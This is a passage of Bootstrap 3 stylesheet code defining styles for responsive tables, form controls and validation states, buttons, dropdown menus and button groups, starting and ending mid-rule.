.danger,\n.table-hover > tbody > tr.danger:hover > th {\n background-color: #ebcccc;\n}\n.table-responsive {\n overflow-x: auto;\n min-height: 0.01%;\n}\n@media screen and (max-width: 767px) {\n .table-responsive {\n width: 100%;\n margin-bottom: 15px;\n overflow-y: hidden;\n -ms-overflow-style: -ms-autohiding-scrollbar;\n border: 1px solid #dddddd;\n }\n .table-responsive > .table {\n margin-bottom: 0;\n }\n .table-responsive > .table > thead > tr > th,\n .table-responsive > .table > tbody > tr > th,\n .table-responsive > .table > tfoot > tr > th,\n .table-responsive > .table > thead > tr > td,\n .table-responsive > .table > tbody > tr > td,\n .table-responsive > .table > tfoot > tr > td {\n white-space: nowrap;\n }\n .table-responsive > .table-bordered {\n border: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:first-child,\n .table-responsive > .table-bordered > tbody > tr > th:first-child,\n .table-responsive > .table-bordered > tfoot > tr > th:first-child,\n .table-responsive > .table-bordered > thead > tr > td:first-child,\n .table-responsive > .table-bordered > tbody > tr > td:first-child,\n .table-responsive > .table-bordered > tfoot > tr > td:first-child {\n border-left: 0;\n }\n .table-responsive > .table-bordered > thead > tr > th:last-child,\n .table-responsive > .table-bordered > tbody > tr > th:last-child,\n .table-responsive > .table-bordered > tfoot > tr > th:last-child,\n .table-responsive > .table-bordered > thead > tr > td:last-child,\n .table-responsive > .table-bordered > tbody > tr > td:last-child,\n .table-responsive > .table-bordered > tfoot > tr > td:last-child {\n border-right: 0;\n }\n .table-responsive > .table-bordered > tbody > tr:last-child > th,\n .table-responsive > .table-bordered > tfoot > tr:last-child > th,\n .table-responsive > .table-bordered > tbody > tr:last-child > td,\n .table-responsive > .table-bordered > tfoot > tr:last-child > td {\n border-bottom: 0;\n }\n}\nfieldset {\n padding: 0;\n margin: 0;\n border: 0;\n min-width: 0;\n}\nlegend {\n display: block;\n width: 100%;\n padding: 0;\n margin-bottom: 20px;\n font-size: 21px;\n line-height: inherit;\n color: #333333;\n border: 0;\n border-bottom: 1px solid #e5e5e5;\n}\nlabel {\n display: inline-block;\n max-width: 100%;\n margin-bottom: 5px;\n font-weight: bold;\n}\ninput[type=\"search\"] {\n -webkit-box-sizing: border-box;\n -moz-box-sizing: border-box;\n box-sizing: border-box;\n}\ninput[type=\"radio\"],\ninput[type=\"checkbox\"] {\n margin: 4px 0 0;\n margin-top: 1px \\9;\n line-height: normal;\n}\ninput[type=\"file\"] {\n display: block;\n}\ninput[type=\"range\"] {\n display: block;\n width: 100%;\n}\nselect[multiple],\nselect[size] {\n height: auto;\n}\ninput[type=\"file\"]:focus,\ninput[type=\"radio\"]:focus,\ninput[type=\"checkbox\"]:focus {\n outline: thin dotted;\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\noutput {\n display: block;\n padding-top: 7px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555555;\n}\n.form-control {\n display: block;\n width: 100%;\n height: 34px;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n color: #555555;\n background-color: #ffffff;\n background-image: none;\n border: 1px solid #cccccc;\n border-radius: 4px;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n -webkit-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n -o-transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n transition: border-color ease-in-out .15s, box-shadow ease-in-out .15s;\n}\n.form-control:focus {\n border-color: #66afe9;\n outline: 0;\n -webkit-box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);\n box-shadow: inset 0 1px 1px rgba(0,0,0,.075), 0 0 8px rgba(102, 175, 233, 0.6);\n}\n.form-control::-moz-placeholder {\n color: #999999;\n opacity: 1;\n}\n.form-control:-ms-input-placeholder {\n color: #999999;\n}\n.form-control::-webkit-input-placeholder {\n color: #999999;\n}\n.form-control[disabled],\n.form-control[readonly],\nfieldset[disabled] .form-control {\n background-color: #eeeeee;\n opacity: 1;\n}\n.form-control[disabled],\nfieldset[disabled] .form-control {\n cursor: not-allowed;\n}\ntextarea.form-control {\n height: auto;\n}\ninput[type=\"search\"] {\n -webkit-appearance: none;\n}\n@media screen and (-webkit-min-device-pixel-ratio: 0) {\n input[type=\"date\"],\n input[type=\"time\"],\n input[type=\"datetime-local\"],\n input[type=\"month\"] {\n line-height: 34px;\n }\n input[type=\"date\"].input-sm,\n input[type=\"time\"].input-sm,\n input[type=\"datetime-local\"].input-sm,\n input[type=\"month\"].input-sm,\n .input-group-sm input[type=\"date\"],\n .input-group-sm input[type=\"time\"],\n .input-group-sm input[type=\"datetime-local\"],\n .input-group-sm input[type=\"month\"] {\n line-height: 30px;\n }\n input[type=\"date\"].input-lg,\n input[type=\"time\"].input-lg,\n input[type=\"datetime-local\"].input-lg,\n input[type=\"month\"].input-lg,\n .input-group-lg input[type=\"date\"],\n .input-group-lg input[type=\"time\"],\n .input-group-lg input[type=\"datetime-local\"],\n .input-group-lg input[type=\"month\"] {\n line-height: 46px;\n }\n}\n.form-group {\n margin-bottom: 15px;\n}\n.radio,\n.checkbox {\n position: relative;\n display: block;\n margin-top: 10px;\n margin-bottom: 10px;\n}\n.radio label,\n.checkbox label {\n min-height: 20px;\n padding-left: 20px;\n margin-bottom: 0;\n font-weight: normal;\n cursor: pointer;\n}\n.radio input[type=\"radio\"],\n.radio-inline input[type=\"radio\"],\n.checkbox input[type=\"checkbox\"],\n.checkbox-inline input[type=\"checkbox\"] {\n position: absolute;\n margin-left: -20px;\n margin-top: 4px \\9;\n}\n.radio + .radio,\n.checkbox + .checkbox {\n margin-top: -5px;\n}\n.radio-inline,\n.checkbox-inline {\n position: relative;\n display: inline-block;\n padding-left: 20px;\n margin-bottom: 0;\n vertical-align: middle;\n font-weight: normal;\n cursor: pointer;\n}\n.radio-inline + .radio-inline,\n.checkbox-inline + .checkbox-inline {\n margin-top: 0;\n margin-left: 10px;\n}\ninput[type=\"radio\"][disabled],\ninput[type=\"checkbox\"][disabled],\ninput[type=\"radio\"].disabled,\ninput[type=\"checkbox\"].disabled,\nfieldset[disabled] input[type=\"radio\"],\nfieldset[disabled] input[type=\"checkbox\"] {\n cursor: not-allowed;\n}\n.radio-inline.disabled,\n.checkbox-inline.disabled,\nfieldset[disabled] .radio-inline,\nfieldset[disabled] .checkbox-inline {\n cursor: not-allowed;\n}\n.radio.disabled label,\n.checkbox.disabled label,\nfieldset[disabled] .radio label,\nfieldset[disabled] .checkbox label {\n cursor: not-allowed;\n}\n.form-control-static {\n padding-top: 7px;\n padding-bottom: 7px;\n margin-bottom: 0;\n min-height: 34px;\n}\n.form-control-static.input-lg,\n.form-control-static.input-sm {\n padding-left: 0;\n padding-right: 0;\n}\n.input-sm {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.input-sm {\n height: 30px;\n line-height: 30px;\n}\ntextarea.input-sm,\nselect[multiple].input-sm {\n height: auto;\n}\n.form-group-sm .form-control {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\nselect.form-group-sm .form-control {\n height: 30px;\n line-height: 30px;\n}\ntextarea.form-group-sm .form-control,\nselect[multiple].form-group-sm .form-control {\n height: auto;\n}\n.form-group-sm .form-control-static {\n height: 30px;\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n min-height: 32px;\n}\n.input-lg {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.input-lg {\n height: 46px;\n line-height: 46px;\n}\ntextarea.input-lg,\nselect[multiple].input-lg {\n height: auto;\n}\n.form-group-lg .form-control {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\nselect.form-group-lg .form-control {\n height: 46px;\n line-height: 46px;\n}\ntextarea.form-group-lg .form-control,\nselect[multiple].form-group-lg .form-control {\n height: auto;\n}\n.form-group-lg .form-control-static {\n height: 46px;\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n min-height: 38px;\n}\n.has-feedback {\n position: relative;\n}\n.has-feedback .form-control {\n padding-right: 42.5px;\n}\n.form-control-feedback {\n position: absolute;\n top: 0;\n right: 0;\n z-index: 2;\n display: block;\n width: 34px;\n height: 34px;\n line-height: 34px;\n text-align: center;\n pointer-events: none;\n}\n.input-lg + .form-control-feedback {\n width: 46px;\n height: 46px;\n line-height: 46px;\n}\n.input-sm + .form-control-feedback {\n width: 30px;\n height: 30px;\n line-height: 30px;\n}\n.has-success .help-block,\n.has-success .control-label,\n.has-success .radio,\n.has-success .checkbox,\n.has-success .radio-inline,\n.has-success .checkbox-inline,\n.has-success.radio label,\n.has-success.checkbox label,\n.has-success.radio-inline label,\n.has-success.checkbox-inline label {\n color: #3c763d;\n}\n.has-success .form-control {\n border-color: #3c763d;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-success .form-control:focus {\n border-color: #2b542c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #67b168;\n}\n.has-success .input-group-addon {\n color: #3c763d;\n border-color: #3c763d;\n background-color: #dff0d8;\n}\n.has-success .form-control-feedback {\n color: #3c763d;\n}\n.has-warning .help-block,\n.has-warning .control-label,\n.has-warning .radio,\n.has-warning .checkbox,\n.has-warning .radio-inline,\n.has-warning .checkbox-inline,\n.has-warning.radio label,\n.has-warning.checkbox label,\n.has-warning.radio-inline label,\n.has-warning.checkbox-inline label {\n color: #8a6d3b;\n}\n.has-warning .form-control {\n border-color: #8a6d3b;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-warning .form-control:focus {\n border-color: #66512c;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #c0a16b;\n}\n.has-warning .input-group-addon {\n color: #8a6d3b;\n border-color: #8a6d3b;\n background-color: #fcf8e3;\n}\n.has-warning .form-control-feedback {\n color: #8a6d3b;\n}\n.has-error .help-block,\n.has-error .control-label,\n.has-error .radio,\n.has-error .checkbox,\n.has-error .radio-inline,\n.has-error .checkbox-inline,\n.has-error.radio label,\n.has-error.checkbox label,\n.has-error.radio-inline label,\n.has-error.checkbox-inline label {\n color: #a94442;\n}\n.has-error .form-control {\n border-color: #a94442;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075);\n}\n.has-error .form-control:focus {\n border-color: #843534;\n -webkit-box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n box-shadow: inset 0 1px 1px rgba(0, 0, 0, 0.075), 0 0 6px #ce8483;\n}\n.has-error .input-group-addon {\n color: #a94442;\n border-color: #a94442;\n background-color: #f2dede;\n}\n.has-error .form-control-feedback {\n color: #a94442;\n}\n.has-feedback label ~ .form-control-feedback {\n top: 25px;\n}\n.has-feedback label.sr-only ~ .form-control-feedback {\n top: 0;\n}\n.help-block {\n display: block;\n margin-top: 5px;\n margin-bottom: 10px;\n color: #737373;\n}\n@media (min-width: 768px) {\n .form-inline .form-group {\n display: inline-block;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .form-control {\n display: inline-block;\n width: auto;\n vertical-align: middle;\n }\n .form-inline .form-control-static {\n display: inline-block;\n }\n .form-inline .input-group {\n display: inline-table;\n vertical-align: middle;\n }\n .form-inline .input-group .input-group-addon,\n .form-inline .input-group .input-group-btn,\n .form-inline .input-group .form-control {\n width: auto;\n }\n .form-inline .input-group > .form-control {\n width: 100%;\n }\n .form-inline .control-label {\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio,\n .form-inline .checkbox {\n display: inline-block;\n margin-top: 0;\n margin-bottom: 0;\n vertical-align: middle;\n }\n .form-inline .radio label,\n .form-inline .checkbox label {\n padding-left: 0;\n }\n .form-inline .radio input[type=\"radio\"],\n .form-inline .checkbox input[type=\"checkbox\"] {\n position: relative;\n margin-left: 0;\n }\n .form-inline .has-feedback .form-control-feedback {\n top: 0;\n }\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox,\n.form-horizontal .radio-inline,\n.form-horizontal .checkbox-inline {\n margin-top: 0;\n margin-bottom: 0;\n padding-top: 7px;\n}\n.form-horizontal .radio,\n.form-horizontal .checkbox {\n min-height: 27px;\n}\n.form-horizontal .form-group {\n margin-left: -15px;\n margin-right: -15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .control-label {\n text-align: right;\n margin-bottom: 0;\n padding-top: 7px;\n }\n}\n.form-horizontal .has-feedback .form-control-feedback {\n right: 15px;\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-lg .control-label {\n padding-top: 14.333333px;\n }\n}\n@media (min-width: 768px) {\n .form-horizontal .form-group-sm .control-label {\n padding-top: 6px;\n }\n}\n.btn {\n display: inline-block;\n margin-bottom: 0;\n font-weight: normal;\n text-align: center;\n vertical-align: middle;\n touch-action: manipulation;\n cursor: pointer;\n background-image: none;\n border: 1px solid transparent;\n white-space: nowrap;\n padding: 6px 12px;\n font-size: 14px;\n line-height: 1.42857143;\n border-radius: 4px;\n -webkit-user-select: none;\n -moz-user-select: none;\n -ms-user-select: none;\n user-select: none;\n}\n.btn:focus,\n.btn:active:focus,\n.btn.active:focus,\n.btn.focus,\n.btn:active.focus,\n.btn.active.focus {\n outline: thin dotted;\n outline: 5px auto -webkit-focus-ring-color;\n outline-offset: -2px;\n}\n.btn:hover,\n.btn:focus,\n.btn.focus {\n color: #333333;\n text-decoration: none;\n}\n.btn:active,\n.btn.active {\n outline: 0;\n background-image: none;\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn.disabled,\n.btn[disabled],\nfieldset[disabled] .btn {\n cursor: not-allowed;\n pointer-events: none;\n opacity: 0.65;\n filter: alpha(opacity=65);\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn-default {\n color: #333333;\n background-color: #ffffff;\n border-color: #cccccc;\n}\n.btn-default:hover,\n.btn-default:focus,\n.btn-default.focus,\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n color: #333333;\n background-color: #e6e6e6;\n border-color: #adadad;\n}\n.btn-default:active,\n.btn-default.active,\n.open > .dropdown-toggle.btn-default {\n background-image: none;\n}\n.btn-default.disabled,\n.btn-default[disabled],\nfieldset[disabled] .btn-default,\n.btn-default.disabled:hover,\n.btn-default[disabled]:hover,\nfieldset[disabled] .btn-default:hover,\n.btn-default.disabled:focus,\n.btn-default[disabled]:focus,\nfieldset[disabled] .btn-default:focus,\n.btn-default.disabled.focus,\n.btn-default[disabled].focus,\nfieldset[disabled] .btn-default.focus,\n.btn-default.disabled:active,\n.btn-default[disabled]:active,\nfieldset[disabled] .btn-default:active,\n.btn-default.disabled.active,\n.btn-default[disabled].active,\nfieldset[disabled] .btn-default.active {\n background-color: #ffffff;\n border-color: #cccccc;\n}\n.btn-default .badge {\n color: #ffffff;\n background-color: #333333;\n}\n.btn-primary {\n color: #ffffff;\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary:hover,\n.btn-primary:focus,\n.btn-primary.focus,\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n color: #ffffff;\n background-color: #286090;\n border-color: #204d74;\n}\n.btn-primary:active,\n.btn-primary.active,\n.open > .dropdown-toggle.btn-primary {\n background-image: none;\n}\n.btn-primary.disabled,\n.btn-primary[disabled],\nfieldset[disabled] .btn-primary,\n.btn-primary.disabled:hover,\n.btn-primary[disabled]:hover,\nfieldset[disabled] .btn-primary:hover,\n.btn-primary.disabled:focus,\n.btn-primary[disabled]:focus,\nfieldset[disabled] .btn-primary:focus,\n.btn-primary.disabled.focus,\n.btn-primary[disabled].focus,\nfieldset[disabled] .btn-primary.focus,\n.btn-primary.disabled:active,\n.btn-primary[disabled]:active,\nfieldset[disabled] .btn-primary:active,\n.btn-primary.disabled.active,\n.btn-primary[disabled].active,\nfieldset[disabled] .btn-primary.active {\n background-color: #337ab7;\n border-color: #2e6da4;\n}\n.btn-primary .badge {\n color: #337ab7;\n background-color: #ffffff;\n}\n.btn-success {\n color: #ffffff;\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success:hover,\n.btn-success:focus,\n.btn-success.focus,\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n color: #ffffff;\n background-color: #449d44;\n border-color: #398439;\n}\n.btn-success:active,\n.btn-success.active,\n.open > .dropdown-toggle.btn-success {\n background-image: none;\n}\n.btn-success.disabled,\n.btn-success[disabled],\nfieldset[disabled] .btn-success,\n.btn-success.disabled:hover,\n.btn-success[disabled]:hover,\nfieldset[disabled] .btn-success:hover,\n.btn-success.disabled:focus,\n.btn-success[disabled]:focus,\nfieldset[disabled] .btn-success:focus,\n.btn-success.disabled.focus,\n.btn-success[disabled].focus,\nfieldset[disabled] .btn-success.focus,\n.btn-success.disabled:active,\n.btn-success[disabled]:active,\nfieldset[disabled] .btn-success:active,\n.btn-success.disabled.active,\n.btn-success[disabled].active,\nfieldset[disabled] .btn-success.active {\n background-color: #5cb85c;\n border-color: #4cae4c;\n}\n.btn-success .badge {\n color: #5cb85c;\n background-color: #ffffff;\n}\n.btn-info {\n color: #ffffff;\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info:hover,\n.btn-info:focus,\n.btn-info.focus,\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n color: #ffffff;\n background-color: #31b0d5;\n border-color: #269abc;\n}\n.btn-info:active,\n.btn-info.active,\n.open > .dropdown-toggle.btn-info {\n background-image: none;\n}\n.btn-info.disabled,\n.btn-info[disabled],\nfieldset[disabled] .btn-info,\n.btn-info.disabled:hover,\n.btn-info[disabled]:hover,\nfieldset[disabled] .btn-info:hover,\n.btn-info.disabled:focus,\n.btn-info[disabled]:focus,\nfieldset[disabled] .btn-info:focus,\n.btn-info.disabled.focus,\n.btn-info[disabled].focus,\nfieldset[disabled] .btn-info.focus,\n.btn-info.disabled:active,\n.btn-info[disabled]:active,\nfieldset[disabled] .btn-info:active,\n.btn-info.disabled.active,\n.btn-info[disabled].active,\nfieldset[disabled] .btn-info.active {\n background-color: #5bc0de;\n border-color: #46b8da;\n}\n.btn-info .badge {\n color: #5bc0de;\n background-color: #ffffff;\n}\n.btn-warning {\n color: #ffffff;\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning:hover,\n.btn-warning:focus,\n.btn-warning.focus,\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n color: #ffffff;\n background-color: #ec971f;\n border-color: #d58512;\n}\n.btn-warning:active,\n.btn-warning.active,\n.open > .dropdown-toggle.btn-warning {\n background-image: none;\n}\n.btn-warning.disabled,\n.btn-warning[disabled],\nfieldset[disabled] .btn-warning,\n.btn-warning.disabled:hover,\n.btn-warning[disabled]:hover,\nfieldset[disabled] .btn-warning:hover,\n.btn-warning.disabled:focus,\n.btn-warning[disabled]:focus,\nfieldset[disabled] .btn-warning:focus,\n.btn-warning.disabled.focus,\n.btn-warning[disabled].focus,\nfieldset[disabled] .btn-warning.focus,\n.btn-warning.disabled:active,\n.btn-warning[disabled]:active,\nfieldset[disabled] .btn-warning:active,\n.btn-warning.disabled.active,\n.btn-warning[disabled].active,\nfieldset[disabled] .btn-warning.active {\n background-color: #f0ad4e;\n border-color: #eea236;\n}\n.btn-warning .badge {\n color: #f0ad4e;\n background-color: #ffffff;\n}\n.btn-danger {\n color: #ffffff;\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger:hover,\n.btn-danger:focus,\n.btn-danger.focus,\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n color: #ffffff;\n background-color: #c9302c;\n border-color: #ac2925;\n}\n.btn-danger:active,\n.btn-danger.active,\n.open > .dropdown-toggle.btn-danger {\n background-image: none;\n}\n.btn-danger.disabled,\n.btn-danger[disabled],\nfieldset[disabled] .btn-danger,\n.btn-danger.disabled:hover,\n.btn-danger[disabled]:hover,\nfieldset[disabled] .btn-danger:hover,\n.btn-danger.disabled:focus,\n.btn-danger[disabled]:focus,\nfieldset[disabled] .btn-danger:focus,\n.btn-danger.disabled.focus,\n.btn-danger[disabled].focus,\nfieldset[disabled] .btn-danger.focus,\n.btn-danger.disabled:active,\n.btn-danger[disabled]:active,\nfieldset[disabled] .btn-danger:active,\n.btn-danger.disabled.active,\n.btn-danger[disabled].active,\nfieldset[disabled] .btn-danger.active {\n background-color: #d9534f;\n border-color: #d43f3a;\n}\n.btn-danger .badge {\n color: #d9534f;\n background-color: #ffffff;\n}\n.btn-link {\n color: #337ab7;\n font-weight: normal;\n border-radius: 0;\n}\n.btn-link,\n.btn-link:active,\n.btn-link.active,\n.btn-link[disabled],\nfieldset[disabled] .btn-link {\n background-color: transparent;\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn-link,\n.btn-link:hover,\n.btn-link:focus,\n.btn-link:active {\n border-color: transparent;\n}\n.btn-link:hover,\n.btn-link:focus {\n color: #23527c;\n text-decoration: underline;\n background-color: transparent;\n}\n.btn-link[disabled]:hover,\nfieldset[disabled] .btn-link:hover,\n.btn-link[disabled]:focus,\nfieldset[disabled] .btn-link:focus {\n color: #777777;\n text-decoration: none;\n}\n.btn-lg,\n.btn-group-lg > .btn {\n padding: 10px 16px;\n font-size: 18px;\n line-height: 1.3333333;\n border-radius: 6px;\n}\n.btn-sm,\n.btn-group-sm > .btn {\n padding: 5px 10px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-xs,\n.btn-group-xs > .btn {\n padding: 1px 5px;\n font-size: 12px;\n line-height: 1.5;\n border-radius: 3px;\n}\n.btn-block {\n display: block;\n width: 100%;\n}\n.btn-block + .btn-block {\n margin-top: 5px;\n}\ninput[type=\"submit\"].btn-block,\ninput[type=\"reset\"].btn-block,\ninput[type=\"button\"].btn-block {\n width: 100%;\n}\n.fade {\n opacity: 0;\n -webkit-transition: opacity 0.15s linear;\n -o-transition: opacity 0.15s linear;\n transition: opacity 0.15s linear;\n}\n.fade.in {\n opacity: 1;\n}\n.collapse {\n display: none;\n}\n.collapse.in {\n display: block;\n}\ntr.collapse.in {\n display: table-row;\n}\ntbody.collapse.in {\n display: table-row-group;\n}\n.collapsing {\n position: relative;\n height: 0;\n overflow: hidden;\n -webkit-transition-property: height, visibility;\n transition-property: height, visibility;\n -webkit-transition-duration: 0.35s;\n transition-duration: 0.35s;\n -webkit-transition-timing-function: ease;\n transition-timing-function: ease;\n}\n.caret {\n display: inline-block;\n width: 0;\n height: 0;\n margin-left: 2px;\n vertical-align: middle;\n border-top: 4px dashed;\n border-right: 4px solid transparent;\n border-left: 4px solid transparent;\n}\n.dropup,\n.dropdown {\n position: relative;\n}\n.dropdown-toggle:focus {\n outline: 0;\n}\n.dropdown-menu {\n position: absolute;\n top: 100%;\n left: 0;\n z-index: 1000;\n display: none;\n float: left;\n min-width: 160px;\n padding: 5px 0;\n margin: 2px 0 0;\n list-style: none;\n font-size: 14px;\n text-align: left;\n background-color: #ffffff;\n border: 1px solid #cccccc;\n border: 1px solid rgba(0, 0, 0, 0.15);\n border-radius: 4px;\n -webkit-box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n box-shadow: 0 6px 12px rgba(0, 0, 0, 0.175);\n background-clip: padding-box;\n}\n.dropdown-menu.pull-right {\n right: 0;\n left: auto;\n}\n.dropdown-menu .divider {\n height: 1px;\n margin: 9px 0;\n overflow: hidden;\n background-color: #e5e5e5;\n}\n.dropdown-menu > li > a {\n display: block;\n padding: 3px 20px;\n clear: both;\n font-weight: normal;\n line-height: 1.42857143;\n color: #333333;\n white-space: nowrap;\n}\n.dropdown-menu > li > a:hover,\n.dropdown-menu > li > a:focus {\n text-decoration: none;\n color: #262626;\n background-color: #f5f5f5;\n}\n.dropdown-menu > .active > a,\n.dropdown-menu > .active > a:hover,\n.dropdown-menu > .active > a:focus {\n color: #ffffff;\n text-decoration: none;\n outline: 0;\n background-color: #337ab7;\n}\n.dropdown-menu > .disabled > a,\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n color: #777777;\n}\n.dropdown-menu > .disabled > a:hover,\n.dropdown-menu > .disabled > a:focus {\n text-decoration: none;\n background-color: transparent;\n background-image: none;\n filter: progid:DXImageTransform.Microsoft.gradient(enabled = false);\n cursor: not-allowed;\n}\n.open > .dropdown-menu {\n display: block;\n}\n.open > a {\n outline: 0;\n}\n.dropdown-menu-right {\n left: auto;\n right: 0;\n}\n.dropdown-menu-left {\n left: 0;\n right: auto;\n}\n.dropdown-header {\n display: block;\n padding: 3px 20px;\n font-size: 12px;\n line-height: 1.42857143;\n color: #777777;\n white-space: nowrap;\n}\n.dropdown-backdrop {\n position: fixed;\n left: 0;\n right: 0;\n bottom: 0;\n top: 0;\n z-index: 990;\n}\n.pull-right > .dropdown-menu {\n right: 0;\n left: auto;\n}\n.dropup .caret,\n.navbar-fixed-bottom .dropdown .caret {\n border-top: 0;\n border-bottom: 4px solid;\n content: \"\";\n}\n.dropup .dropdown-menu,\n.navbar-fixed-bottom .dropdown .dropdown-menu {\n top: auto;\n bottom: 100%;\n margin-bottom: 2px;\n}\n@media (min-width: 768px) {\n .navbar-right .dropdown-menu {\n left: auto;\n right: 0;\n }\n .navbar-right .dropdown-menu-left {\n left: 0;\n right: auto;\n }\n}\n.btn-group,\n.btn-group-vertical {\n position: relative;\n display: inline-block;\n vertical-align: middle;\n}\n.btn-group > .btn,\n.btn-group-vertical > .btn {\n position: relative;\n float: left;\n}\n.btn-group > .btn:hover,\n.btn-group-vertical > .btn:hover,\n.btn-group > .btn:focus,\n.btn-group-vertical > .btn:focus,\n.btn-group > .btn:active,\n.btn-group-vertical > .btn:active,\n.btn-group > .btn.active,\n.btn-group-vertical > .btn.active {\n z-index: 2;\n}\n.btn-group .btn + .btn,\n.btn-group .btn + .btn-group,\n.btn-group .btn-group + .btn,\n.btn-group .btn-group + .btn-group {\n margin-left: -1px;\n}\n.btn-toolbar {\n margin-left: -5px;\n}\n.btn-toolbar .btn-group,\n.btn-toolbar .input-group {\n float: left;\n}\n.btn-toolbar > .btn,\n.btn-toolbar > .btn-group,\n.btn-toolbar > .input-group {\n margin-left: 5px;\n}\n.btn-group > .btn:not(:first-child):not(:last-child):not(.dropdown-toggle) {\n border-radius: 0;\n}\n.btn-group > .btn:first-child {\n margin-left: 0;\n}\n.btn-group > .btn:first-child:not(:last-child):not(.dropdown-toggle) {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group > .btn:last-child:not(:first-child),\n.btn-group > .dropdown-toggle:not(:first-child) {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group > .btn-group {\n float: left;\n}\n.btn-group > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 0;\n}\n.btn-group > .btn-group:first-child:not(:last-child) > .btn:last-child,\n.btn-group > .btn-group:first-child:not(:last-child) > .dropdown-toggle {\n border-bottom-right-radius: 0;\n border-top-right-radius: 0;\n}\n.btn-group > .btn-group:last-child:not(:first-child) > .btn:first-child {\n border-bottom-left-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group .dropdown-toggle:active,\n.btn-group.open .dropdown-toggle {\n outline: 0;\n}\n.btn-group > .btn + .dropdown-toggle {\n padding-left: 8px;\n padding-right: 8px;\n}\n.btn-group > .btn-lg + .dropdown-toggle {\n padding-left: 12px;\n padding-right: 12px;\n}\n.btn-group.open .dropdown-toggle {\n -webkit-box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n box-shadow: inset 0 3px 5px rgba(0, 0, 0, 0.125);\n}\n.btn-group.open .dropdown-toggle.btn-link {\n -webkit-box-shadow: none;\n box-shadow: none;\n}\n.btn .caret {\n margin-left: 0;\n}\n.btn-lg .caret {\n border-width: 5px 5px 0;\n border-bottom-width: 0;\n}\n.dropup .btn-lg .caret {\n border-width: 0 5px 5px;\n}\n.btn-group-vertical > .btn,\n.btn-group-vertical > .btn-group,\n.btn-group-vertical > .btn-group > .btn {\n display: block;\n float: none;\n width: 100%;\n max-width: 100%;\n}\n.btn-group-vertical > .btn-group > .btn {\n float: none;\n}\n.btn-group-vertical > .btn + .btn,\n.btn-group-vertical > .btn + .btn-group,\n.btn-group-vertical > .btn-group + .btn,\n.btn-group-vertical > .btn-group + .btn-group {\n margin-top: -1px;\n margin-left: 0;\n}\n.btn-group-vertical > .btn:not(:first-child):not(:last-child) {\n border-radius: 0;\n}\n.btn-group-vertical > .btn:first-child:not(:last-child) {\n border-top-right-radius: 4px;\n border-bottom-right-radius: 0;\n border-bottom-left-radius: 0;\n}\n.btn-group-vertical > .btn:last-child:not(:first-child) {\n border-bottom-left-radius: 4px;\n border-top-right-radius: 0;\n border-top-left-radius: 0;\n}\n.btn-group-vertical > .btn-group:not(:first-child):not(:last-child) > .btn {\n border-radius: 